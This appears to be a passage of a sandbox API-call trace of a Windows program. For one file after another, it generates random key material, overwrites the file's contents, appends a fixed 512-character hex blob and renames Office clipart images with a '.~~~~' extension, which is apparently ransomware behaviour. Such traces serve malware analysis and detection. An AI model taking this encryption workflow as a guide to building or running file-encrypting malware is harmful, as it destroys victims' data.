	[0112.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0112.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0112.921] GetLastError () returned 0x0
	[0112.921] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0112.922] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.922] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0112.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0112.923] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23291285020) returned 1
	[0112.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xace95970, dwHighDateTime=0x1d60e1e)) 
	[0112.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0112.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0112.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0112.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28307c8
	[0112.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28307c8 | out: hHeap=0x300000) returned 1
	[0112.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cef90
	[0112.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28335f0
	[0112.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0112.924] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0112.924] GetLastError () returned 0x0
	[0112.924] GetLastError () returned 0x0
	[0112.924] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0112.924] GetLastError () returned 0x0
	[0112.924] GetLastError () returned 0x0
	[0112.928] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff9d7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.928] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x629, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x629, lpOverlapped=0x0) returned 1
	[0112.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0112.930] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.930] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.930] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.930] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.930] CloseHandle (hObject=0x11c) returned 1
	[0112.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cfe00
	[0112.930] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif.~~~~")) returned 1
	[0112.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cfe00 | out: hHeap=0x300000) returned 1
	[0112.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0112.932] GetLastError () returned 0x0
	[0112.932] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0112.934] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.934] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0112.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0112.934] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23292399508) returned 1
	[0112.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xace95970, dwHighDateTime=0x1d60e1e)) 
	[0112.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0112.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0112.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0112.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830800
	[0112.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830800 | out: hHeap=0x300000) returned 1
	[0112.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cfe00
	[0112.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833da8
	[0112.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cfe00 | out: hHeap=0x300000) returned 1
	[0112.935] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0112.935] GetLastError () returned 0x0
	[0112.935] GetLastError () returned 0x0
	[0112.935] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0112.935] GetLastError () returned 0x0
	[0112.936] GetLastError () returned 0x0
	[0112.939] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff79d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.940] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x8628, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x8628, lpOverlapped=0x0) returned 1
	[0112.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0112.941] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.941] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.941] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.941] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.942] CloseHandle (hObject=0x11c) returned 1
	[0112.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cfea8
	[0112.942] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp.~~~~")) returned 1
	[0112.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cfea8 | out: hHeap=0x300000) returned 1
	[0112.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0112.943] GetLastError () returned 0x0
	[0112.953] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0112.979] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.979] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0112.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0112.980] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23297240535) returned 1
	[0112.982] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xacf07d90, dwHighDateTime=0x1d60e1e)) 
	[0112.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0112.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0112.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0112.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830870
	[0112.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830870 | out: hHeap=0x300000) returned 1
	[0112.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834008
	[0112.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0113.064] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.065] GetLastError () returned 0x0
	[0113.065] GetLastError () returned 0x0
	[0113.065] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.065] GetLastError () returned 0x0
	[0113.066] GetLastError () returned 0x0
	[0113.068] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8170, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.069] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x7e90, lpOverlapped=0x0) returned 1
	[0113.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.070] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.070] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.070] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.070] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.071] CloseHandle (hObject=0x11c) returned 1
	[0113.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cef90
	[0113.071] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp.~~~~")) returned 1
	[0113.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.119] GetLastError () returned 0x0
	[0113.120] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.121] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.121] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.121] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23311122116) returned 1
	[0113.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad05e9f0, dwHighDateTime=0x1d60e1e)) 
	[0113.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b2c0
	[0113.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b2c0 | out: hHeap=0x300000) returned 1
	[0113.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cef90
	[0113.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2833ed8
	[0113.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.122] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.122] GetLastError () returned 0x0
	[0113.122] GetLastError () returned 0x0
	[0113.122] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.122] GetLastError () returned 0x0
	[0113.123] GetLastError () returned 0x0
	[0113.152] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffbae2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.152] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x451e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x451e, lpOverlapped=0x0) returned 1
	[0113.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.154] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.154] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.155] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.155] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.155] CloseHandle (hObject=0x11c) returned 1
	[0113.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.155] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg.~~~~")) returned 1
	[0113.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.157] GetLastError () returned 0x0
	[0113.157] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.159] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.159] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.159] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23314893586) returned 1
	[0113.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad0d0e10, dwHighDateTime=0x1d60e1e)) 
	[0113.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b330
	[0113.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b330 | out: hHeap=0x300000) returned 1
	[0113.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834858
	[0113.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.160] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.160] GetLastError () returned 0x0
	[0113.160] GetLastError () returned 0x0
	[0113.160] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.160] GetLastError () returned 0x0
	[0113.160] GetLastError () returned 0x0
	[0113.167] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.167] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x7db8, lpOverlapped=0x0) returned 1
	[0113.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.168] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.168] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.168] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.168] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.168] CloseHandle (hObject=0x11c) returned 1
	[0113.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
